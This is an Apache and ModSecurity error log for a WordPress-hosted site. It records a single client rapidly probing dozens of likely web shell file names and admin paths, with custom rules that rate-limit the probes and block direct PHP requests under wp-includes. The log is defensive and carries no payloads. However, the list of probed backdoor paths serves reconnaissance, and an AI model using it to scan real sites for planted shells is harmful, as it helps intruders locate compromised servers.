[Sun May 24 21:56:32.722066 2026] [:error] [pid 11368:tid 11393] [client 20.195.192.35:10124] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2P.php"] [unique_id "ahMDkIfq_sTmmtTKm1U1-gAAARc"]
[Sun May 24 21:56:33.566478 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10221] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2P.php"] [unique_id "ahMDkWWbknYlUM9P0qPj_gAAABQ"]
[Sun May 24 21:56:34.376939 2026] [:error] [pid 11282:tid 11358] [client 20.195.192.35:10168] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ahMDku0bPyN3C7HZ1R-nNgAAANI"]
[Sun May 24 21:56:35.025907 2026] [:error] [pid 15835:tid 15858] [client 20.195.192.35:10223] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ahMDk2WbknYlUM9P0qPkAAAAABU"]
[Sun May 24 21:56:35.677352 2026] [:error] [pid 11282:tid 11354] [client 20.195.192.35:10115] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ahMDk-0bPyN3C7HZ1R-nNwAAAM4"]
[Sun May 24 21:56:36.447020 2026] [:error] [pid 11368:tid 11386] [client 20.195.192.35:10199] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tires.php"] [unique_id "ahMDlIfq_sTmmtTKm1U1_AAAARA"]
[Sun May 24 21:56:37.236949 2026] [:error] [pid 11280:tid 11302] [client 20.195.192.35:10121] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahMDlYRn5s7laoSxy1QbjAAAAFE"]
[Sun May 24 21:56:38.004799 2026] [:error] [pid 11281:tid 11323] [client 20.195.192.35:10132] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahMDlpKmC9taWvA91j6J1AAAAIo"]
[Sun May 24 21:56:38.707620 2026] [:error] [pid 11282:tid 11345] [client 20.195.192.35:10179] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahMDlu0bPyN3C7HZ1R-nOQAAAMU"]
[Sun May 24 21:56:39.334197 2026] [:error] [pid 11368:tid 11385] [client 20.195.192.35:10139] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahMDl4fq_sTmmtTKm1U1_gAAAQ8"]
[Sun May 24 21:56:40.306200 2026] [:error] [pid 15835:tid 15839] [client 20.195.192.35:10134] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/like.php"] [unique_id "ahMDmGWbknYlUM9P0qPkBAAAAAI"]
[Sun May 24 21:56:41.060565 2026] [:error] [pid 11280:tid 11290] [client 20.195.192.35:10228] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/like.php"] [unique_id "ahMDmYRn5s7laoSxy1QbjgAAAEU"]
[Sun May 24 21:56:41.981521 2026] [:error] [pid 11281:tid 11336] [client 20.195.192.35:10210] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/like.php"] [unique_id "ahMDmZKmC9taWvA91j6J2gAAAJc"]
[Sun May 24 21:56:42.825484 2026] [:error] [pid 11280:tid 11300] [client 20.195.192.35:10162] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/like.php"] [unique_id "ahMDmoRn5s7laoSxy1QbkAAAAE8"]
[Sun May 24 21:56:43.467982 2026] [:error] [pid 11280:tid 11299] [client 20.195.192.35:10156] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/about.php"] [unique_id "ahMDm4Rn5s7laoSxy1QbkQAAAE4"]
[Sun May 24 21:56:44.142407 2026] [:error] [pid 11280:tid 11293] [client 20.195.192.35:10146] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/about.php"] [unique_id "ahMDnIRn5s7laoSxy1QbkgAAAEg"]
[Sun May 24 21:56:44.848712 2026] [:error] [pid 11282:tid 11351] [client 20.195.192.35:10054] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/about.php"] [unique_id "ahMDnO0bPyN3C7HZ1R-nPgAAAMs"]
[Sun May 24 21:56:45.728973 2026] [:error] [pid 11282:tid 11355] [client 20.195.192.35:10167] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/about.php"] [unique_id "ahMDne0bPyN3C7HZ1R-nPwAAAM8"]
[Sun May 24 21:56:46.385784 2026] [:error] [pid 11281:tid 11317] [client 20.195.192.35:10202] [client 20.195.192.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ahMDnpKmC9taWvA91j6J4gAAAIQ"]
[Sun May 24 21:56:47.045657 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:10188] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahMDn4Rn5s7laoSxy1QbkwAAAEM"]
[Sun May 24 21:56:48.079265 2026] [:error] [pid 11282:tid 11356] [client 20.195.192.35:10208] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahMDoO0bPyN3C7HZ1R-nRAAAANA"]
[Sun May 24 21:56:48.961438 2026] [:error] [pid 11282:tid 11342] [client 20.195.192.35:10229] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bob.php"] [unique_id "ahMDoO0bPyN3C7HZ1R-nUwAAAMI"]
[Sun May 24 21:56:49.771255 2026] [:error] [pid 11280:tid 11291] [client 20.195.192.35:10112] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t3s.php"] [unique_id "ahMDoYRn5s7laoSxy1QbngAAAEY"]
[Sun May 24 21:56:50.489476 2026] [:error] [pid 11282:tid 11345] [client 20.195.192.35:10177] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t3s.php"] [unique_id "ahMDou0bPyN3C7HZ1R-nXQAAAMU"]
[Sun May 24 21:56:51.129838 2026] [:error] [pid 11282:tid 11361] [client 20.195.192.35:10093] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t3s.php"] [unique_id "ahMDo-0bPyN3C7HZ1R-nZAAAANU"]
[Sun May 24 21:56:51.754839 2026] [:error] [pid 11280:tid 11299] [client 20.195.192.35:10203] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t3s.php"] [unique_id "ahMDo4Rn5s7laoSxy1QbpAAAAE4"]
[Sun May 24 21:56:52.377112 2026] [:error] [pid 11282:tid 11362] [client 20.195.192.35:10143] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ahMDpO0bPyN3C7HZ1R-nagAAANY"]
[Sun May 24 21:56:53.183790 2026] [:error] [pid 15835:tid 15856] [client 20.195.192.35:10061] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ahMDpWWbknYlUM9P0qPkNQAAABM"]
[Sun May 24 21:56:53.950309 2026] [:error] [pid 11368:tid 11373] [client 20.195.192.35:10053] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ahMDpYfq_sTmmtTKm1U2CgAAAQM"]
[Sun May 24 21:56:54.915617 2026] [:error] [pid 11280:tid 11285] [client 20.195.192.35:10074] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "ahMDpoRn5s7laoSxy1QbqwAAAEA"]
[Sun May 24 21:56:55.727315 2026] [:error] [pid 11368:tid 11370] [client 20.195.192.35:10142] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x/"] [unique_id "ahMDp4fq_sTmmtTKm1U2CwAAAQA"]
[Sun May 24 21:56:56.520003 2026] [:error] [pid 11282:tid 11362] [client 20.195.192.35:10191] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/x/"] [unique_id "ahMDqO0bPyN3C7HZ1R-nbAAAANY"]
[Sun May 24 21:56:58.236547 2026] [:error] [pid 11280:tid 11297] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/uwu.php
[Sun May 24 21:56:58.548979 2026] [:error] [pid 11280:tid 11290] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/uwa.php
[Sun May 24 21:56:58.865048 2026] [:error] [pid 11280:tid 11294] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/crgio.php
[Sun May 24 21:56:59.201665 2026] [:error] [pid 11280:tid 11295] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/geforce.php
[Sun May 24 21:56:59.517209 2026] [:error] [pid 11280:tid 11292] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Sun May 24 21:57:00.711357 2026] [:error] [pid 11280:tid 11308] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/one.php
[Sun May 24 21:57:01.025336 2026] [:error] [pid 11280:tid 11293] [client 20.195.192.35:10082] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-temp.php
[Sun May 24 21:57:01.334518 2026] [:error] [pid 11280:tid 11288] [client 20.195.192.35:10082] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ahMDrYRn5s7laoSxy1QbuwAAAEM"]
[Sun May 24 21:57:02.264555 2026] [:error] [pid 11280:tid 11307] [client 20.195.192.35:10231] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ahMDroRn5s7laoSxy1QbvAAAAFY"]
[Sun May 24 21:57:03.173943 2026] [:error] [pid 11280:tid 11285] [client 20.195.192.35:10178] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ahMDr4Rn5s7laoSxy1QbvgAAAEA"]
[Sun May 24 21:57:03.866718 2026] [:error] [pid 11282:tid 11361] [client 20.195.192.35:10098] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "ahMDr-0bPyN3C7HZ1R-nbgAAANU"]
[Sun May 24 21:57:04.542050 2026] [:error] [pid 11368:tid 11387] [client 20.195.192.35:10127] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "ahMDsIfq_sTmmtTKm1U2EgAAARE"]
[Sun May 24 21:57:05.206499 2026] [:error] [pid 11368:tid 11391] [client 20.195.192.35:10050] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "ahMDsYfq_sTmmtTKm1U2FAAAARU"]
[Sun May 24 21:57:06.000933 2026] [:error] [pid 11282:tid 11342] [client 20.195.192.35:10081] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "ahMDse0bPyN3C7HZ1R-ncAAAAMI"]
[Sun May 24 21:57:06.749707 2026] [:error] [pid 11281:tid 11317] [client 20.195.192.35:10097] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "ahMDspKmC9taWvA91j6J-AAAAIQ"]
[Sun May 24 21:57:07.442081 2026] [:error] [pid 11282:tid 11355] [client 20.195.192.35:10218] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "ahMDs-0bPyN3C7HZ1R-ncQAAAM8"]
[Sun May 24 21:57:08.314519 2026] [:error] [pid 15835:tid 15857] [client 20.195.192.35:10120] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "ahMDtGWbknYlUM9P0qPkWQAAABQ"]
[Sun May 24 21:57:09.084729 2026] [:error] [pid 11280:tid 11301] [client 20.195.192.35:10075] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "ahMDtYRn5s7laoSxy1QbwQAAAFA"]
[Sun May 24 21:57:10.144959 2026] [:error] [pid 11281:tid 11323] [client 20.195.192.35:9996] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mode.php"] [unique_id "ahMDtpKmC9taWvA91j6J_wAAAIo"]
[Sun May 24 21:57:10.946214 2026] [:error] [pid 15835:tid 15839] [client 20.195.192.35:10225] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ahMDtmWbknYlUM9P0qPkWwAAAAI"]
[Sun May 24 21:57:11.610644 2026] [:error] [pid 11282:tid 11347] [client 20.195.192.35:10116] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ahMDt-0bPyN3C7HZ1R-ndwAAAMc"]
[Sun May 24 21:57:12.382932 2026] [:error] [pid 11368:tid 11386] [client 20.195.192.35:10173] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ahMDuIfq_sTmmtTKm1U2GAAAARA"]
[Sun May 24 21:57:13.048995 2026] [:error] [pid 11282:tid 11343] [client 20.195.192.35:10123] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "ahMDue0bPyN3C7HZ1R-neAAAAMM"]
[Sun May 24 21:57:13.888027 2026] [:error] [pid 15835:tid 15853] [client 20.195.192.35:10239] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDuWWbknYlUM9P0qPkYgAAABA"]
[Sun May 24 21:57:14.763280 2026] [:error] [pid 11368:tid 11377] [client 20.195.192.35:10149] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDuofq_sTmmtTKm1U2HwAAAQc"]
[Sun May 24 21:57:15.519977 2026] [:error] [pid 15835:tid 15843] [client 20.195.192.35:10136] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDu2WbknYlUM9P0qPkZgAAAAY"]
[Sun May 24 21:57:16.373906 2026] [:error] [pid 15835:tid 15861] [client 20.195.192.35:10080] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "ahMDvGWbknYlUM9P0qPkaAAAABg"]
[Sun May 24 21:57:17.502053 2026] [:error] [pid 11280:tid 11286] [client 20.195.192.35:10224] [client 20.195.192.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/puc.php"] [unique_id "ahMDvYRn5s7laoSxy1QbxQAAAEE"]
